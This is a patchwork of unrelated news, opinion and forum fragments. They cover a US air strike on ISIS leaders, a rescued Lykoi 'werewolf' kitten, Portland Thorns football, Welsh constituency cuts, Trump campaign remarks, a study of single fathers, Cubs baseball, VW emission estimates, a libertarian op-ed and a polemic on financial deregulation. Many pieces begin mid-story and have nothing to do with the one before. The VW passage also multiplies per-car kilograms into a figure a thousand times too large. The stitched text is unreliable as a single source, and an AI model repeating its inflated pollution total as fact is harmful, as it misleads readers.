"The removal of this Isil leader will hamper the organisation's ability to conduct operations both inside and outside of Iraq and Syria," Mr Carter said.
"This is the second senior Isil leader we have targeted this month, after confirming the death of Isil's so-called 'minister of war' a short time ago."
Tarkhan Batirashvili, a Georgian known as Omar Shishani, died of the injuries he sustained in a US air strike in north-eastern Syria on 4 March, US officials said last week. However, the IS-linked Amaq news agency subsequently cited an unidentified source as denying Shishani was dead.
Mr Carter said the US military had killed other senior IS figures in recent days.
They included a man known as Abu Sara, who was tasked with paying fighters in northern Iraq, and "a number of Isil associates who were directly involved in external plotting and training", the defence secretary added.
Since 2014, ISIS has been on the decline — losing control over the vast bulk of its territorial empire due to concerted military pushback on the ground and a US-led international intervention. But the group remains a threat, and may yet resurge and once again threaten the stability of northern Iraq.
What follows is a guide to the the 18 key facts you need to understand ISIS, what it was like when it controlled vast swaths of territory, and the key reasons why its empire dwindled without the group ending.
Here’s the complete photo.
Creepy, right? Commenters on messageboard Hamusoku thought so too.
They… they are coming. Was he some kind of sacrifice? Repent of your sins! Was the murderer Big Bird? Cookie Monster?
We’ll have to wait for a follow-up post to find out who is responsible for the Elmo lynching or whether he is as successful at scaring away crows as children, but in the meantime, here’s a video to remind you that perhaps we are better off without that creepy little gigglebox.
Source: Hamusoku
In their excitement, some of the players began singing a song familiar to fans of the Portland Timbers: “Build a Bonfire.”
These celebrations were the culmination of a long season of hard work, perseverance, and sheer of force of will that Thorns FC head coach Mark Parsons says were well-deserved.
“[The players] care for each other and they care for this club and I think that's what it comes down to: a team that can do it over 20 games, the team that puts the most into it and sacrifices the most and puts their team first,” Parsons said after the match.
“I think from the beginning we've shown a commitment to putting the team first above any of us and each game it's helped us be strong and it's put us in this position.”
Ever the perfectionist, though, Parsons rarely seemed satisfied throughout Sunday's match, even after his team had built a comfortable 3-1 lead late in the second half.
“The girls made fun of me at the end because they said, 'You were 3-1 up and you were still screaming to get tight and to get organized,'” he said with a laugh. “I wanted to see this game out. I didn't want to give Sky Blue a chance to get back in and also we're building to next week['s playoff match]. We want to leave that pitch feeling good, like we gave everything.”
Week to week this season, Parsons wanted his team to improve on each previous performance, whether those improvements came at home or on the road, whether the team was missing starters or was at full strength. He demanded excellence and often got it.
Matches like the September 11 victory over the Western New York Flash at home or last night's victory over a feisty Sky Blue FC provide a litmus test to this team, a proving ground for the players to demonstrate their ability to control a match under even the most trying of circumstances.
And over the entire course of the 2016 NWSL regular season, the Thorns did exactly that, jumping out of the gate with a 12-game unbeaten run, keeping up with the Spirit with six crucial points in July while missing over half of the starting line-up, and finishing the season strong with 12 points from their final four matches.
Put in that context, winning the NWSL Shield this season becomes that much more incredible an accomplishment.
“This is the most competitive NWSL season in its history in my subjective opinion,” Parsons said. “We've got a team that's probably one of the best in the world like Seattle [Reign FC] that didn't make [the playoffs] and that shows you how competitive this league is.
“For us to show at the end of the seven month season that we're up there on top, I think it shows that we've worked really hard, we've stayed focused, we've stayed together, and we've never given up.”
This Sunday, the Thorns will once again host the Western New York Flash, this time in the NWSL Semifinal (2 p.m. PT, FS1). This team, Parsons says, is ready to get back to Providence Park this weekend and finish the work that it started.
Join Date: Mar 2004 Posts: 4,310
Eric - My favorite character is Deadpool cause he has psychotic episodes but with a comical current to them.
dpendleton - thanks. I should have focused something more pertaining to what Marvel is looking for, but I got swept away in a story that popped into my head and lost what was suppose to be the focus.
Scribbly - It's kinda crazy because I'm always fiddling around with different pencils and ways of doing comic pages. So like Canson Comics paper I was in love with a few months ago but then I started using HB pencils more and I found that for me the HB feels kinda rough against the surface of the paper so I switched to the Strathmore which feels smoother to me using an HB. On the first page I took my thumbnails and put them in photoshop, blew them up to fit on 11x17 comic board, turned them into blue line in Photoshop then lightened them and printed them off my 11x17 Brother printer/scanner onto the comic board then drew over top of that. That is how I've been doing pages for a while but on the rest of the four I felt compelled to do it by taking my thumbs into Photoshop then blowing them up to a letter sized paper and print them out. Then I just printed the borders on the comic board and I used the rough print outs to draw from onto the comic board. To make it look a bit cleaner and it seemed more fun because then I could make adjustments a bit more and not feel so locked into the thumbs sketch lines.
Back when I was inking my own pages I liked the Canson better for inks except I had to stop using a few types of pens that it seemed the ink wouldn't dry very fast on that paper and I'd smeer it.
So yea when using a hard lead the Canson is really nice but I kinda am liking the Strathmore more again, and I started using a blue line lead is a mechanical pencil for the details on the last 3 pages then going over that with an HB.
Although the cat was discovered in March, it wasn't until recently that the group realized how rare he was.
According to Tears Animal Rescue, "The cat, found under a bush, is the only natural-born Lykoi on record in [South Africa] and one of just 35 in the world, making this one of the most exciting discoveries in the [South African] animal world in recent years."
They named the kitten Eyona, a South African name that means "The One."
Eyona was one of a litter of six rescued when their mother, a domestic short-haired tabby, disappeared. But this kitten stood out from his siblings. He has patchy, dark hair with flecks of gray and he acts more like a dog than a cat, according to rescue workers. The group describes his unique look as, "like a human, half-transformed into a mythical creature."
Tears veterinarians were so enthralled by Eyona's unusual appearance that they took a skin scraping to test for different diseases.
Eyona acts more like a dog than a cat, according to the rescue group that found him. (Photo: Tears Animal Rescue)
"He's got the look of a wolf, but the physique of a cat," Tears operations manager Mandy Store told The Dodo. "We thought he might be a sphinx crossbreed, but he's got a lot of little physical differences from cats. He's quite incredible."
Tests came back negative for diseases, so staffers did more research to figure out what he could be.
A Lykoi specialist, U.S. veterinarian Dr. Johnny Gobble, helped identify the kitten as a rare "werewolf cat."
“The little Lykoi at TEARS is the first natural mutation in South Africa reported to me," he said in a statement on the rescue group's website. "The Lykoi breeder in [South Africa] started with Lykoi cats from another breeder that we began with our lines, so those cats were bred and did not occur naturally.”
Gobble said the kitten is the 35th known natural occurrence of the Lykoi genetic mutation. Although other cats have been bred to produce the mutation, Eyona is unusual because his mutation is apparently not inherited.
Although there's a lot of interest in the rare, unusual kitten, rescuers have found a home for him "with one of the greatest feline experts and animal lovers," according to the group.
"Eyona is quite different to other cats, is still feral and will need special care."
Rare 'werewolf' cat found in South Africa
When I was 11 and just starting middle school, some of my new friends were strongly Christian. I didn't have much of a religious leaning; my mother’s family is Catholic and my father’s family is Jewish, so I grew up celebrating twice as many holidays but lacked grounding in any particular teachings. So when my new friends told me about a Bible study guide they loved, one that was targeted toward “hip” Christian teens, I thought it would be a neat way to join the youth-group-going in-crowd. As far as I was concerned, I was passively agnostic, but I thought having the tools to find faith might make me feel more certain one way or the other. A friend’s mom bought me the trendy teen Bible as an early birthday present.
I was ecstatic to receive it. It was brightly colored, used wacky fonts, and had discussion pages at the ends of some sections, making parallels between Scripture and teen issues like school and dating. But there were some red flags right off the bat that made me think this might not be for me. For example, I’d never had strong feelings about premarital sex, but my friends — and this Bible — did. I figured sex would happen when it happened, and between talking with my parents, my lackluster public school sex ed, and Seventeen magazine, I had a decent grasp on how not to get pregnant. My Bible’s all-or-nothing take on sex and dating made me uneasy, like a stranger giving me serious advice I hadn’t asked for. I didn’t even bother looking at the discussion notes on gay people; I didn’t know yet that they applied to me. (I recently dug that Bible out from my pile of rejected childhood items to find that section. It’s not pretty.)
Then I found something that I took more personally. A small section of the sex and dating chapter included a stern footnote about dating non-Christians. “Don’t do it,” it said. “It’s never a good idea.”
I asked my parents about it, about whether or not God thought their interfaith marriage — and therefore, my existence — was a bad idea. They said they had talked about it a long time ago and decided that because they both believed in God, the details didn’t matter. But it was enough to turn me off of religious exploration for a long time. When I came out as bisexual in high school, I felt even less connected to my friends’ stories about church programs and their excitement about applying to Christian colleges. And eventually, I realized I didn’t need to explore anymore. The belief just wasn’t there.
This isn’t to say I disparage or disrespect those who do find comfort in faith. There are thriving communities of LGBTQ people of faith around the world, some of whom belong to progressive houses of worship and others who practice independent spirituality, who find that their faith and their LGBTQ identity strengthen one another. Today, more and more religious groups celebrate diversity, actively support LGBTQ people, and speak out against the institutions that use scripture to oppress and demean. Unfortunately, these groups are in the minority. While there are avenues for LGBTQ people to work with faith groups, the potential for allyship between LGBTQ people and atheists is far more intuitive, and certainly presents fewer institutional boundaries.
When I started writing about LGBTQ issues for Hemant Mehta’s blog, “Friendly Atheist” — which is how this book came to be — I was often stumped by the lack of news about the explicit overlaps between LGBTQ people and atheists. Stories about active collaborations between these two groups were sparse. All I seemed to read (and write) were stories of outrageous homophobic and transphobic behavior by conservative churches and evangelical politicians, all in the name of God. What I didn’t immediately realize, though, is that religious groups oppressing LGBTQ people is an atheist issue. Any abuse of religious freedom, particularly at the expense of a marginalized group, is an atheist issue.
Over and over, LGBTQ people have been berated, belittled, and bullied on the faulty premise that God frowns upon them. This erroneous explanation not only targets LGBTQ people but also contradicts ideas many atheists hold dear.
For example: When a pastor preaches that God unleashed Hurricane Sandy as punishment for same-sex marriage, as anti-gay preacher John McTernan did, that’s not just an affront to LGBTQ people; it’s an affront to science. When a county clerk cites religion as an excuse to deny LGBTQ people equal treatment, as Kentucky’s Kim Davis did, that’s a slap in the face to the separation of church and state. And when Christian schools that receive state funding fire LGBTQ teachers, as we’ve seen across the country, it’s a clear abuse of power disguised as “religious exemption.”
Science, reason, and a government free of religious influence are some of the most crucial tenets of secular humanism. Atheists — even those who believe that philosophy begins and ends with a rejection of God’s existence — should be deeply offended when those principles are so egregiously violated.
Atheism itself is still somewhat of a subversive practice. People of faith comprise around three-quarters of the U.S. population; about 24% are unaffiliated or religious “nones,” with self-declared atheists making up only 3.4% of the country. There are no openly atheist members of Congress. In some countries, being an atheist, being LGBTQ, or both are cause for persecution or even death. And, of course, there are LGBTQ atheists in the United States and elsewhere who are doubly marginalized for identifying as both. It is in atheists’ nature to eschew societal norms in favor of ideas that feel more true to them. Joining forces with others targeted by religious groups shouldn’t be controversial. In fact, it should be expected.
Some people — though not usually atheists — actually argue against taking religion out of politics, citing the civil right to free expression. And sure, the First Amendment has its place in these conversations. A person who pushes homophobia or transphobia under the guise of religion is allowed those opinions privately and even publicly, to an extent. But once religious beliefs are invoked to interfere with the civil rights of others — say, to justify firing a qualified employee, or to provide a legal loophole for segregating LGBTQ customers — the First Amendment exits the equation. Personal beliefs cannot infringe upon the rights of others to pursue life and liberty however they choose. If atheists sit idly by as religious Americans target LGBTQ communities, they are endorsing it.
And yet America’s failure to protect LGBTQ citizens is a direct result of the overstepping of religion into politics. It’s a flagrant rejection of the Establishment Clause, and a refusal to prioritize objectivity and fairness. Equal rights for LGBTQ people should come naturally to a society that operates on evidence and reason (the kind of society atheists generally advocate for). Atheists should be invested in removing religious influence from the rule of law. And they do their own cause a disservice when they fail to defend LGBTQ people, politically and personally.
As both an atheist and a queer person, I’m doubly baffled by the intensity of religious hatred against my people — all my people. I write a lot about LGBTQ issues, and I’ve received countless anonymous messages (and some not anonymous) outlining all the reasons I’m a hellbound dyke. Sometimes, the message is just a list of Bible verses — as if I’m going to take out my copy of the New Testament and flip through it to learn why my life displeases a higher power whose existence I reject. I’m lucky to have lived mostly in liberal parts of the country (not that religious bigotry doesn’t exist in all 50 states) and that I’ve never faced faith-based discrimination outright. But thousands of others aren’t as fortunate.
LGBTQ people are fired, kicked out of their homes, pushed out of local businesses, and refused social and health services because of the “religious consciences” of others. To make matters worse, we don’t even know exactly how many LGBTQ people face discrimination every year. As in other situations when victims must choose whether to report what’s happened to them, many people refrain out of the fear of retaliation, outing, or worse. (And just because it hasn’t happened to me yet, there’s no guarantee that it won’t in the future.)
LGBTQ people and atheists aren’t the only groups hurt by religious fundamentalism. For example, the Religious Right targets women with a similar fervor. Employers fight to deny insurance coverage for birth control on the grounds of religious freedom. Women are fired for being pregnant and unmarried. Puritanical beliefs about women’s rights and roles trickle down into other elements of society. The wage gap and sexism in the media aren’t necessarily a result of religious misogyny, but they’re peddled by a lot of the same people.
And historically — though not long ago at all — people deployed religious arguments to defend segregation and other manifestations of racism. “In the 1960s, we saw institutions object to laws requiring integration in restaurants because of sincerely held beliefs that God wanted the races to be separate,” according to the ACLU. Integration was seen as an affront to God. Bob Jones University, a fundamentalist Protestant school in South Carolina, didn’t drop its ban on interracial dating until the year 2000.
When you consider how extreme the consequences of bigotry can be, the harassment and disrespect atheists face for their non-belief can seem pretty mild in comparison. Society certainly doesn’t embrace atheists, but there are far fewer attacks (physical, legal, and otherwise) on atheist “lifestyles” than on LGBTQ people, women, people of color, or even other religious groups. But plenty of atheists can be and are members of all these groups, facing attacks not for their non-beliefs, but for visible elements of their identity. Virtually every minority group in the world has faced some defamation, discrimination, or mistreatment at the hands of religious extremism, one way or another. It only makes sense that we would rally together in our respective times of need.
Why LGBTQ people in particular? Because when it comes to religious suppression of civil rights, LGBTQ people have too much at stake. In recent years, the Religious Right has focused much of its energy and resources on limiting — or even eliminating — the rights of LGBTQ people. Anti-LGBTQ ideals littered the 2016 Republican Party platform and continue to serve as talking points for many GOP politicians, even though religious beliefs are supposed to be absent from the legislative process. According to the Human Rights Campaign, the largest LGBTQ rights group in the country, only four Republican senators and seven Republican members of the House of Representatives supported marriage equality in the lead-up to the 2016 election. Even Barack Obama, arguably the most progressive president in U.S. history (certainly on this issue), didn’t announce his support for marriage equality until the end of his first term, after a handful of states had already enacted same-sex marriage and Proposition 8 had twice been ruled unconstitutional.
LGBTQ issues have never been more visible, and anti-LGBTQ religious extremists have never been more fired up. If equal rights advocates don’t fight back aggressively, we can expect sweeping victories for state-approved religious bigotry. That kind of upheaval would deal a significant blow to atheism, too: imagine trying to defend secular education, the scientific method, or the separation of church and state in a country that explicitly favors one belief system over others (let alone over non-belief). We may be a long ways off from falling into an extremist religious dystopia, but it’s still worth keeping our guard up.
And it’s not enough for atheists and LGBTQ people to be allies in name alone. In order for both these groups to be treated with civility and humanity, we must support each other loudly and unapologetically, in our schools and our workplaces, at the dinner table and at the ballot box. In 2015, atheist writer Adam Lee penned an editorial for the Guardian with the headline, “If peace on earth is our goal, atheism might be the means to that end.” While that sentence might suggest a simplistic answer to a complicated problem, there is little evidence for more religious influence leading to social harmony. LGBTQ people have been political targets for decades. As society slowly begins to see us with more empathy than ever before, we deserve the peace we’ve been denied for so long. Atheists must help us get there.
A Kickstarter campaign is currently underway to help fund this book's formatting and printing, tweaking the cover design, and helping with shipping and packaging fees.
Wales will lose more than a quarter of its MPs under a review of boundaries.
The number will fall from 40 to 29 at the next general election as the UK total is cut from 650 to 600.
Rules require broadly equal numbers of voters in each constituency, with seats in Wales currently having fewer voters on average than those in England.
Changes which would have cut the number of Welsh MPs from 40 to 30 were blocked by the Lib Dems in 2013 after an outcry from Labour.
The revised proposals released on Wednesday are based on new figures on the electoral register.
The Boundary Commission for Wales said it would publish "initial proposals" for Welsh constituencies later in 2016, to be followed by a period of consultation.
The average size of the electorate per constituency across the UK is 74,769, with the electorate of each constituency having to be within 5% of that - meaning each must have between 71,031 and 78,507 voters.
Under the proposals, England will lose 32 MPs, Northern Ireland one and Scotland six to create a smaller House of Commons.
'Ballooned'
Labour's Shadow Welsh Secretary Nia Griffith said the "substantial cut" in the number of Welsh MPs would "lessen Wales' voice in Westminster at exactly the same time that government policies are hitting the communities we represent".
"If the Conservatives were serious about cutting the cost of politics they would cut the number of unelected peers in the House of Lords, which has ballooned in size with 236 new peers appointed since David Cameron became prime minister," she said.
Plaid Cymru MP Jonathan Edwards MP said: "Westminster will still be responsible for major areas of policy affecting Wales, and our nation will have less of a voice if these proposals go through.
"Unless those major policy areas are devolved, it is a disgrace that our nation should have its voice at Westminster muted in this way."
Posted
US Republican presidential nominee Donald Trump has said he is taking the gloves off in his battle against Democrat Hillary Clinton in the race for the White House, after taking a scorching from speakers at the Democratic National Convention.
Key points: Trump kicks back at Democrats after convention grilling
Clinton ad slams Trump for comments against disabled people and women
Trump says he is 'starting to agree' with calls for Clinton to be locked up
Mr Trump wrapped up a five-day, seven-state campaign swing in Colorado on Friday, where for a fifth straight day his supporters chanted "lock her up" whenever he brought up Mrs Clinton's name.
Mr Trump supporters say Mrs Clinton deserves to be prosecuted for her handling of US foreign policy as President Barack Obama's first-term secretary of state and for her use of a private email server while in that office.
All week Mr Trump has sought to tamp down the chants by stressing that his main goal is to simply beat Mrs Clinton in the November 8 presidential election.
But as the crowd chanted the slogan in Colorado Springs, Mr Trump finally relented.
"I'm starting to agree with you, frankly," he said.
"No more Mr Nice Guy."
In Denver later, he changed his tune when he heard the chant.
"I'll tell you what I'd rather do, honestly, is just beat her on November 8 at the polls," he said.
"She would be a disaster."
'I didn't know he was disabled': Trump
Mr Trump was a punching bag at the Democratic convention in Philadelphia, which wrapped up on Thursday night, as speaker after speaker — including some Republicans — said he lacked the temperament to be president.
Mrs Clinton herself said in her acceptance speech that the election represented a "moment of reckoning" for the country.
In Colorado Springs, Mr Trump got sidetracked by a couple of disputes from last year as he tried to rebut a Clinton campaign ad.
The ad uses video clip from Mr Trump's attack on Fox News anchor Megyn Kelly in protest against her questioning of him at a debate of Republican presidential contenders last August when he said afterward that blood was "coming out of her eyes, coming out of her wherever".
"I was talking about her nose," Mr Trump said in Colorado Springs.
"I wanted to get back on the issue of taxes [at the debate]."
Mr Trump also brought up the case of disabled New York Times reporter Serge Kovaleski, whom Mr Trump seemed to mock publicly in video used by the Clinton ad.
Mr Trump said he was depicting the reporter grovelling to him.
"I didn't know he was disabled. I didn't know it at all. I had no idea," he said.
Reuters
In addition, solo fathers experience the same stress and strain as single mothers, which is likely related to low income and unemployment, the researchers say.
"We have long known that lone parenthood has negative effects on parents' health, but few studies focus on the single father population," said lead author Maria Chiu of the University of Toronto.
'We need to pay attention to the physical health and mental health of single dads in the same way we do with single moms,' says researcher Maria Chiu. (Canadian Press)
Single-parent households make up 16 per cent of families in Canada, 27 per cent of families in the U.S., and 25 per cent in the United Kingdom, Chiu and her colleagues write in the Journal of Epidemiology and Community Health.
"We know that, in general, men are more reluctant to seek health services, especially mental health, because of the stigmas attached," she said. "We need to pay attention to the physical health and mental health of single dads in the same way we do with single moms."
Chiu and colleagues looked at responses from 1,058 lone fathers in Canadian Community Health Surveys between 2001 and 2013. About 12 per cent of single fathers and single mothers reported poor or fair health on a five-point scale ranging from "poor" to "excellent." Lone fathers were twice as likely as partnered fathers to rate both their physical and mental health as "poor/fair."
The single-father household is the fastest growing family form in Canada, said Terrance Wade of Brock University in St. Catharines, Ont., who wasn't involved in the study.
In Canada, the number of lone fathers has increased at a faster rate than lone mothers, and lone fathers now make up a fifth of lone parents, Chiu's team writes.
"Fathers are generally not perceived of societally as being the ones responsible for caregiving and raising children in a patriarchal society," Wade said by email. "Lone mothers generally have more financial stress due to pervasive systemic gendered income inequality, while lone fathers generally have more caregiving stresses."
Single dads eat less veggies than single moms
The majority of lone fathers included in the analysis were over age 45 and previously married. One in five earned less than $30,000 a year, and 15 per cent were unemployed. One in five had two or more chronic medical conditions, and one in 10 had a diagnosed mood or anxiety disorder. Compared to single mothers, single fathers also had lower fruit and vegetable consumption and were more likely to be overweight and binge drinkers.
Future research should look at whether single parenthood is a cause or a consequence of poor health, the study authors note. In addition, researchers should compare lone and partnered fathers to absent fathers, said Andrew Howlett of Mount Sinai Hospital in Toronto, who wasn't involved with the study.
"Absent fathers are another vulnerable male population that deserves attention," Howlett said. "It's unclear whether men who transition from being absent fathers to lone fathers experience deterioration or improvement in their wellbeing."
Public policy changes could help more single fathers access social assistance and child support, Chiu said.
"That's not to say that services available to moms aren't extended to single dads, but we do need to account for men being more reluctant to seek help," Chiu said. "There may be opportunities for us to examine structural barriers that exist so everyone can better receive the services they need."
But seriously, it was an enjoyable experience speaking with the class, and hopefully you folks didn’t miss me too much during the day.
In a huge moment in last night’s game in the 8th inning, the Pirates were down one with runners on first and third and nobody out. Josh Harrison bounced one to shortstop, and Javy Baez (who keeps showing off his glove) was going to have no real chance at turning two, so he elected to throw home. It was a bullet that cut down Pedro Florimon at the plate thanks to a nice play by Miguel Montero (more on that in a moment). Statcast looked at the play, and, among the incredible items … the throw was nearly 95mph:
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Did you catch Anthony Rizzo screaming in excitement in the background? There was a lot of discussion about the plate-blocking rule on that one, and, frankly, I thought Miguel Montero was blocking the plate. Although you’re allowed to “block” the plate if the thrown ball takes you into that position, you’re not allowed to block the plate without the ball before the throw occurs. To my eyes, that’s what happened on the play – Montero was blocking, and then the throw came and put him in an even more blocking position. I now accept that I do not understand the rule, or the rule is not being applied clearly and correctly. In any case, it was a great effort by Montero to track that throw, hold his ground, and get the tag down quickly.
By the way, a reminder on Baez’s throw: he’s left-handed.
Believe it or not, there is a statistical argument – not just a “it’s gotta come from a playoff team” argument – that Anthony Rizzo should win the MVP over Bryce Harper, as laid out here at ESPN. Short version? Harper’s done more overall, but Rizzo’s done more when it mattered the most.
Jake Arrieta was awesome again last night, but he’s not letting himself off the hook for the airmailed throw to first that gave the Pirates their first run (CSN, Cubs.com). It’s a reminder that, no matter how good Arrieta gets, he’s never going to be satisfied. It’s an admirable quality.
If you missed it last evening, the Cubs revealed their rotation plans for this weekend against the Cardinals.
The latest episode of Limited Range with me and Sahadev Sharma.
Stan Croussett spoke with Joe Maddon about the value of playing Winter Ball.
This is fairly crazy:
.@JArrieta34 is the first #Cubs starter to throw 8+ innings in four straight starts since Greg Maddux in 1992. pic.twitter.com/cESpsRV9Ev — Chicago Cubs (@Cubs) September 17, 2015
Also crazy, and good for MIKE OLT!:
That's what used-car aggregation site Autolist came up with in an analysis, claiming VW's deceit has set air quality back for years.
The additional pollution, coming from Volkswagens and Audis that used a "defeat device" to thwart emissions tests, is the equivalent of adding another 437 million cars to the world's roadways; that's nearly twice the 256 million cars in the U.S. today.
Autolist
Alex Klein, vice president of data science at Autolist, said he decided to crunch the exhaust numbers after reading one of the many articles on how VW had rigged software in its vehicles to make them appear to have low emissions. He wanted to find out how much extra pollution the vehicles created. According to the U.S. Environmental Protection Agency (EPA), the affected Volkswagens were emitting up to 40 times the legal limit of nitrogen oxide (NOx).
"It's pretty insane. This is really, really severe," Klein said. "I was just doing some back of the envelope stuff and thought, 'that can't be. Those numbers are too big.' "
"It really is this bad," he added. "It's no wonder the dialogue now is that this is going to... reshape the auto industry."
Klein said he used the U.S. Department of Energy's fuel economy site to determine emissions ratings for all the Volkswagen cars listed by the EPA as having an emissions "defeat device."
Along with the EPA, organizations such as the International Council of Clean Transportation, have tested Volkswagen's cars and stated that they emit from 5 and 35 times the emissions limit. Klein used those figures for his calculations.
Autolist noted that the first VW equipped with the software defeat device was the 2009 Jetta TDI. When first released in late 2008, the Jetta TDI, which went on to win Green Car of the Year, was one of the first cars to meet the EPA's stricter Tier II, Bin 5 emission standards. The standards are the equivalent to California's low-emission vehicle standards that limit emissions to .07 grams of nitrogen oxide per mile driven.
Autolist
From 2008 through 2015, VW continued to produce the engines it claimed were even cleaner, and they earned emission ratings of .04 grams of nitrogen oxide per mile, much lower than the government's standards.
"In reality, the VW cars were producing between 5 and 35 times the legal limit of .2 grams of nitrogen oxide per mile. As compared to their promises to consumers of a 'clean' vehicle, this demonstrates an increase of 175X," Autolist's report states.
Based on Autolist’s analysis, the cars were supposed to be emitting NOx gases at levels similar to a Honda Civic, a low emissions gasoline-powered vehicle. In reality, the VWs were producing smog equivalent to 20 Ford F-450 Super Duty trucks -- .084 kilograms of NOx per year.
"A Super Duty falls into class 4 trucks. They are between 10,000 to 14,000 pounds, and they are allowed under the law to produce up to .4 grams of NOx per mile. That's 10X the amount a Civic would pollute," Klein said.
For example, a Honda Civic being driven 12,000 miles a year would produce .00048 kilograms of NOx, according to Klein.
Klein took the .084 kilograms that the VWs were producing per year -- the same as 20 Super Duty trucks -- and the .00048 kilograms a low emissions vehicle should have produced and multiplied both by 11 million vehicles. That resulted in 924,000 metric tons of NOx for 20 trucks and 5,280 metric tons for the low emissions vehicles. He then subtracted the 5,280 tons that VWs should have been producing from the 924,000 tons they were actually producing and came up with 918,720 tons of NOx.
"When you replace one Honda Civic with 20 Ford F-450s 11 million times worldwide, the results are cataclysmic," Autolist's report states. "As opposed to producing 5,280 tons of air pollution each year, the car actually produced 924,000 tons each year worldwide. That's a difference of 918,720 tons of extra nitrogen oxide pollution."
Klein, who lives in the San Francisco Bay region, said he wrote the analysis because he's an environmentalist who is concerned about climate change and believes the public deserves the truth about the damage VW's deceit has caused.
This reality is causing a huge problem for the parties' established candidates (that is, politicians who are clearly part and parcel of the Republican or Democratic clubs, whether they pretend to be insiders or outsiders). I totally understand why not just Hillary Clinton but the Democratic Party operation has got to be shitting a brick over Sanders' popularity and staying power. Same goes for Republican types, even those (such as the fellows at National Review) who rarely have a kind word for "establishment" GOP representatives. What the hell is going on, already? A fake Republican and a fake Democratic are not just threatening "real" partisans but absolutely kicking ass!
And get this: The parties' meltdowns are occuring at the same time that Gallup is finding that libertarian-minded voters now outnumber conservatives, liberals, and populists (more on that below).
As I argue in a new Daily Beast column, Sanders and Trump aren't leading their party in bold new directions. No, the candidates are making the parties look bad because they are presenting something close to the distilled, Platonic essences the Democratic and Republican platforms.
Bernie Sanders...is causing equal levels of discomfort among the Democratic Party establishment by admitting that he’s not really a socialist. He just wants to give away a ton of free stuff, most notably education, health care, and retirement but also paid family leave and a laundry list of whatever else he can think of. When he got into the race, he refused to apologize for being a tried-and-true socialist, which he redefined later as being a “democratic socialist” and now characterizes as simply wanting to import the very best Denmark has to offer before it becomes even more like the United States....
And of course, Sanders has no realistic way of paying for any of his new spending. He just waves away the bill for such new spending, suggesting that one way or another, he'll get the 1 percent to pay for it. Nobody buys that.
And then there's Trump, whose likelihood of actually winning the GOP nomination increases with each horrible thing he seems to say.
For all of the he’s-not-one-of-us bluster against Trump, he does a passable impersonation of a National Review—style conservative Republican for most of us. He is by his own words strongly against immigration (which NR’s editors call a “defining” issue for today’s right-wingers). He is obsessed with displays of masculinity and dismisses opponents as “weak” and as pussies. His trucker-hat promise to “Make America Great Again” is simply a (slightly) dumbed-down version of conservative Republicans’ fixation on “American exceptionalism” and Barack Obama’s supposed contempt for the same. Trump may indeed be “philosophically unmoored”—unlike Ted Cruz, he doesn’t know or care enough to sprinkle his applause lines with bon mots from Ludwig von Mises or Ronald Reagan—but nobody would confuse him with, say, a liberal Democrat, would they?
According to the latest Gallup figures on party identification, the Democrats are at a post-war historic low, with just 29 percent of Americans calling themselves Dems. At 26 percent, the GOP is just one percentage point above its all-time low.
Who can blame the 45 percent of us who are now saying that we don't identify with either of the two major parties?
When you look at what each party has wrought just in the 21st century alone, the only real question is why the Dems or Reps have any members left? Separately, they pushed (among other things) Medicare expansion, Obamacare, No Child Left Behind, massive, unwarranted, and ongoing expansions in food stamps, disability spending, drone srikes, losing wars, immigration deportations, and huge piles of debt. All while demonizing the other party and only getting together every couple of years to work around spending caps that were put in place because they couldn't get it together to write and pass annual budgets.
If we are lucky as a country, we are just a few more debates away from Trump and Sanders pushing party identification into the single digits—they are the only two candidates who are throwing off any sort of energy and interest but they are also genuinely unpopular with anyone other than primary voters, who already represent a dead-end mind-set in American politics. By presenting unapologetic, cartoon versions of what their parties-of-convenience stand for, they are revealing to all of us that the Democratic and Republican parties need to reboot themselves every bit as much as the Spider-Man movie franchise does.
As currently constituted, neither party can reliably represent a country that is getting more and more socially liberal and fiscally conservative. In a word, a country that is increasingly libertarian in what it demands from government: Less intrusion into everyday life and better spending of tax dollars. If and when the parties decide they are serious about changing their platforms to better reflect more Americans, each might consider moving toward that libertarian center not for ideological reasons but for pragmatic ones. As Cato's David Boaz notes,
The Gallup Poll has a new estimate of the number of libertarians in the American electorate. In their 2015 Governance survey they find that 27 percent of respondents can be characterized as libertarians, the highest number it has ever found. The latest results also make libertarians the largest group in the electorate, as compared to 26 percent conservative, 23 percent liberal, and 15 percent populist.
We'll always have two dominant parties in the country and
at least for the forseeable future, they will be called Democrats and Republicans. But what those parties stand for—and what sorts of people can fit comfortably in one or the other—can and will have to change if they once again want to represent more than tiny slices of the electorate.
The US financial system and, probably, the financial system of Europe, like the police, no longer serves a useful social purpose.
In the US the police have proven themselves to be a greater threat to public safety than private sector criminals. I just googled “police brutality” and up came 183,000,000 results. (Here are two recent brutal assaults, one deadly, by police on hapless individuals: http://latimesblogs.latimes.com/lanow/2012/05/kelly-thomas-video-dad-they-are-killing-me-.html and http://www.informationclearinghouse.info/article31364.htm )
The cost to society of the private financial system is even higher. Writing in CounterPunch (May 18), Rob Urie reports that two years ago Andrew Haldane, executive Director for Financial Stability at the Bank of England (the UK’s version of the Federal Reserve) said that the financial crisis, now four years old, will in the end cost the world economy between $60 trillion and $200 trillion in lost GDP. If Urie’s report is correct, this is an astonishing admission from a member of the ruling elite. http://www.counterpunch.org/2012/05/18/the-true-costs-of-bank-crises/print
Try to get your mind around these figures. The US GDP, the largest in the world, is about 15 trillion. What Haldane is telling us is that the financial crisis will end up costing the world lost real income between 4 and 13 times the size of the current Gross Domestic Product of the United States. This could turn out to be an optimistic forecast.
In the end, the financial crisis could destroy Western civilization.
Even if Urie’s report, or Haldane’s calculation, is incorrect, the obvious large economic loss from the financial crisis is still unprecedented. The enormous cost of the financial crisis has one single source–financial deregulation. Financial deregulation is likely to prove to be the mistake that destroys Western civilization. While we quake in our boots from fear of “Muslim terrorists,” it is financial deregulation that is destroying us, with help from jobs offshoring. Keep in mind that Haldane is a member of the ruling elite, not a critic of the system like myself, Gerald Celente, Michael Hudson, Pam Martins, and Nomi Prins. (This is not meant to be an exhaustive list of critics.)
Financial deregulation has had dangerous and adverse consequences. Deregulation permitted financial concentration that produced “banks too big to fail,” thus requiring the general public to absorb the costs of the banks’ mistakes and reckless gambling.
Deregulation permitted banks to leverage a small amount of capital with enormous debt in order to maximize return on equity, thereby maximizing the instability of the financial system and the cost to society of the banks’ bad bets.
Deregulation allowed financial institutions to sweep aside the position limits on speculators and to dominate commodity markets, turning them into a gambling casino and driving up the prices of energy and food.
